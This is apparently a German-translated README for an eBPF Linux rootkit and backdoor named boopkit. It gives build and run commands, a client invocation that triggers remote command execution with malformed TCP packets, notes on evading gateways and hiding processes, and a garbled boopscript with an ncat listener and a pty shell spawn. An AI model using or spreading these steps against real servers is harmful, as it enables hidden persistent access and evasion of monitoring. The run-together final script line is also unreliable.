
Linux eBPF Backdoor über TCP. Erzeuge Reverse Shells, RCE, bei vorherigem privilegiertem Zugriff. Less Honkin, More Tonkin.
================================================================
██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗
██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝
██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║
██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║
██████╔╝╚██████╔╝╚██████╔╝██║ ██║ ██╗██║ ██║
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
Autor: Kris Nóva <[email protected]> Version 1.4.0
IN KEINEM FALL HAFTEN DER URHEBERRECHTSINHABER ODER BEITRAGENDE FÜR DIREKTE, INDIREKTE, ZUFÄLLIGE, SPEZIELLE, BEISPIELHAFTE ODER FOLGESCHÄDEN.
VERSUCHEN SIE NICHT, DIE WERKZEUGE ZUR GESETZESVERLETZUNG ZU VERWENDEN.
DER AUTOR IST NICHT VERANTWORTLICH FÜR IRGENDEINE RECHTSWIDRIGE HANDLUNG.
MISSBRAUCH DER SOFTWARE, INFORMATIONEN ODER DES QUELLCODES
KANN ZU STRAFRECHTLICHEN ANKLAGEN FÜHREN.
Verwendung auf eigenes Risiko.
================================================================
Boopkit. Linux-Rootkit und Backdoor. Erstellt mit eBPF.
Nutzung: boopkit [Optionen]
Optionen: -h, help Zeigt Hilfe und Nutzung für boopkit an. -i, interface Name des Netzwerkinterfaces. lo, eth0, wlan0, etc. -s, sudo-bypass Umgeht die Sudo-Überprüfung. Bricht die PID-Verschleierung. -r, reverse-conn Versucht einen Reverse-RCE-Lookup, wenn kein Payload gefunden wird. -q, quiet Deaktiviert die Ausgabe. -x, reject Quelladressen, von denen Trigger abgelehnt werden sollen.
Linux-Backdoor, Rootkit und eBPF-Umgehungswerkzeuge.
Remote-Befehlsausführung über rohes TCP.
- Getestet auf Linux-Kernel 5.16
- Getestet auf Linux-Kernel 5.17
- Remote-Codeausführung über TCP (SSH, Nginx, Kubernetes, etc.)
- Netzwerk-Gateway-Umgehung (fehlerhafte Prüfsummen, TCP-Reset)
- Selbstverschleierung zur Laufzeit (eBPF-Prozessverstecken)
##### Haftungsausschluss
> Dies ist **KEIN** Exploit! Dies erfordert vorherigen privilegierten Zugriff auf einem Server, um zu funktionieren!
> Ich bin ein professioneller Sicherheitsforscher. Dies sind White-Hat-Werkzeuge, die nur für Forschungszwecke verwendet werden.
> Verwenden Sie dies verantwortungsbewusst. Verwenden Sie diese Software niemals illegal.

## Serverseite
Laden Sie boopkit herunter und bauen Sie es.
```bash
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.3.0.tar.gz
tar -xzf v1.3.0.tar.gz
cd boopkit-1.3.0/
make
sudo make install
Führen Sie boopkit im Vordergrund aus.
# Alle Boops auf localhost und 10.0.0.1 ablehnen
boopkit -x 127.0.0.1 -x 10.0.0.1
Führen Sie boopkit im Hintergrund im stillen Modus aus.
# Gefahr! Dies kann SEHR schwer zu stoppen sein! Nutzung auf eigenes Risiko!
boopkit -q &
Boopkit läuft jetzt und kann mit dem Client-Werkzeug boopkit-boop ausgenutzt werden.
Laden Sie boopkit herunter und bauen Sie es.
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.2.0.tar.gz
tar -xzf v1.2.0.tar.gz
cd boopkit-1.2.0/
make
sudo make install
Führen Sie boopkit-boop gegen den Server aus.
# ===================
RCE="ls -la"
# ===================
LHOST="127.0.0.1"
LPORT="3535"
RHOST="127.0.0.1"
RPORT="22"
boopkit-boop \
-lhost $LHOST \
-lport $LPORT \
-rhost $RHOST \
-rport $RPORT \
-c "$RCE"
Boopkit wird auf verschiedene Ereignisse im Netzwerk reagieren. Beide können mit dem Werkzeug boopkit-boop ausgelöst werden.
TCP-Header-Format. Entnommen aus RFC 793. September 1981
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
{ data }
{ .... }
{ data }
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Zuerst sendet das Werkzeug boopkit-boop ein fehlerhaftes TCP-SYN-Paket mit einer leeren Prüfsumme an den Server über einen SOCK_RAW-Socket. Dies löst boopkit remote aus, unabhängig davon, welche TCP-Dienste ausgeführt werden. Dies funktioniert gegen jeden Linux-Server, der boopkit ausführt, unabhängig vom Zustand der TCP-Dienste.
Verwenden Sie -p mit boopkit-boop, um nur diesen ersten Vektor zu verwenden.
⚠️ Einige moderne Netzwerkhardware wird alle Pakete mit fehlerhaften Prüfsummen verwerfen, wie es für die Ausnutzung von boopkit mit diesem Vektor erforderlich ist!
Als nächstes führt boopkit-boop einen gültigen TCP-Handshake mit einem SOCK_STREAM-Socket gegen einen entfernten TCP-Dienst wie SSH, Kubernetes, Nginx usw. durch. Nach Abschluss des anfänglichen TCP-Handshakes wiederholt boopkit-boop den Vorgang ein zweites Mal.
Der zweite Handshake setzt das TCP-Reset-Flag im Paket und löst einen TCP-Reset auf dem Server aus.
Jede dieser Taktiken reicht aus, um boopkit unabhängig voneinander auszulösen. Verschiedene Netzwerkhardware- und Laufzeitbedingungen machen die eine oder andere Taktik praktikabler. Boopkit wird beide versuchen und standardmäßig auf beide reagieren.
Die boopscript-Datei ist ein Metasploit-kompatibles Skript, das verwendet werden kann, um die Backdoor von boopkit remote auszulösen, nachdem boopkit-boop auf einem entfernten Linux-Rechner installiert wurde.
# boopscript
RHOST="127.0.0.1"
RPORT="22"
LHOST="127.0.0.1"
LPORT="3535"
NCAT="/usr/bin/ncat"
NCATLISTENPORT="3545"
libbpflibxdppython -c "import pty; pty.spawn('/bin/bash')"
Dank an die ursprünglichen Autoren für ihre hilfreichen Codebeispiele! Ich habe viel Code für dieses Projekt geforkt!